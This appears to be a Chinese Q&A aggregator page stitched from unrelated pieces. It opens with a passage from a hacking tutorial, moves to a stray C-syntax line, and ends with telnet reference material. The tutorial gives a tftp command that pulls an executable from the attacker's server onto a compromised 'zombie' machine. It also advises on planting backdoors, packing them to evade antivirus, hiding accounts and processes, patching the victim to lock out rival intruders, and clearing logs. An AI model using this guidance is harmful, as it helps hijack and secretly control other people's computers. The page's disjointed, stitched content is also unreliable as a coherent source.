用TFTP(Trivial File Transfer Protocol)來實現文件的傳送是一種基於UDP連接的文件傳輸,一般是使用Windows自帶的tftp.exe和一個TFTP伺服器端軟體構成一個完整的傳輸結構。它是這樣使用的: 首先運行本地的TFTP Server(比如tftpd32.exe)軟體並保證始終開啟直至傳輸全部完成, 然後在telnet中(當然你也可以在其他shell中)運行下面的命令:
C:\>tftp –i ip get xinxin.exe c:\abc\xinxin.exe
其中ip為你自己機器的ip,且上傳文件要與TFTP伺服器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤abc目錄下了(其實是從tftp伺服器下載來的)
需要指出的是,如果使用代理IP,你將不能實現與外部網路的文件傳送。因為你的代理網關在進行數據封裝的時候會將自己的IP地址加入到你的數據報中,代替你的內部網路地址,所以在外部網路進行MAC定址時是找不到你這台TFTP伺服器的。
3 安置後門
安置後門放在第二步好像早了點,如果你入侵還有其他目的,比如以破壞為主,或者是來修改主頁的,那麼這些事情當然可以在安置後門之前做;如果你只是想得到一隻肉雞,那就沒什麼可說的了,安後門吧。
後門的種類繁多,也給我們提供了很大的選擇餘地,能夠根據具體情況選擇合適的後門的確是一門學問。常用的後門一般有:木馬,asp木馬,遠程式控制制軟體,克隆帳戶,建立並隱藏帳戶,telnet,telnet擴展的shell,終端服務等。安置一個好的後門通常要注意以下幾點:
1 不會被防火牆查殺及阻礙通信:被加入病毒庫的後門最好加殼以逃過防火牆,盡量用低埠通信,以免被防火牆屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠程式控制制軟體,要注意被控端的安裝提示和小圖標,以及是否同步畫面;如果你在帳戶上做文章,要盡量保持在cmd和用戶管理中都不出破綻;如果你選擇放木馬或telnet擴展,要注意文件和進程的隱藏;如果新開了終端服務(入侵前並沒有開),一定要該掉3389這個顯眼的埠,且越低越好。
3 不要當管理員不存在:這是一個大忌,許多朋友在只有默認帳戶的機器上建立類似'hacking'的管理員帳戶,真是無知者無畏呀。所以安置後門的時候,想想管理員疏忽的地方會在哪裡。
4 打補丁
如果想獨霸肉雞,就要會打補丁,要知道對肉雞的競爭是很激烈的。怎麼打補丁呢?這個也要問?想想你是怎麼進來的吧。算了,提示一下,除了修補大的漏洞以外(上傳官方補丁並運行),也要注意它的共享,ipc$共享(最好都關閉),可疑埠,容易被利用的服務等。不過打補丁也要注意隱蔽性的,不要讓管理員發現大的改動。
5 清除日誌
可以手動或利用軟體,如果不太會就去找相關教材吧,在這里我不詳細介紹了。
六 結束語
文章的前部分主要說了一些原理性的東西,後部分則側重於應用,寫的多了難免會有些遺漏。
對於任意的對象a,寫作(&a)->b也是可以的,不過很少有這樣寫。
❽ 求linux下telnet客戶端源碼
Linux 下流行的 telnet 實現有兩個:
GNU 的 inetutils 中的實現 [1]
哈佛的 netkit-telnet [2]
1. http://ftp.gnu.org/gnu/inetutils/
2. http://ftp.de.debian.org/debian/pool/main/n/netkit-telnet/netkit-telnet_0.17.orig.tar.gz
❾ telnet的命令的具體格式
TELNET(TELecommunications NETwork),提供了一種本地主機通過網路登錄遠程伺服器的方法.對於Windows、Linux系統來講需要安裝和配置一個Telnet伺服器,而對於Unix系統只需要運行一個telnetd(Daemon)的程序即可做為Telnet伺服器。命令方式的FTP、Telnet應用參輸入數比較多。
Telnet命令
Telnet提供對遠程機器的終端服務,即本地機器作為遠程的一個虛擬終端對遠程機器進行操作。
<1> Telnet命令格式:
telnet [選項] 主機名
選項包括:
-8 採用8位二進制傳輸
-E 屏蔽所有的退出
-L 使用8位二進制輸出
-a 自動登錄
-d 開關DEBUG信息,可從/usr/adm/syslog中看到(UNIX)
-e [ESCAPE_CHAR] 設置退出字元
-l USER 自動登錄時作為用戶名
<2> Telnet命令使用方法:
在提示符後鍵入
#telnet [option] HOSTNAME (UNIX)
c:\>TNVT220 HOSTNAME (DOS LanWorkPlace4.0 or 4.2)
c:\>telnet HOSTNAME (ODS LanWorkPlace4.2)
或
#telnet
c:\> tnvt220
c:\>telent
屏幕上出現:
TELNET>
TELNET>open hostname
然後等待建立連接,連接建立後遠程機器要求輸入用戶名和口令。
❿ c語言編程 telnet登錄
你要自己寫telnet工具的話那你牛.
你可以通過system()函數調用telnet工具.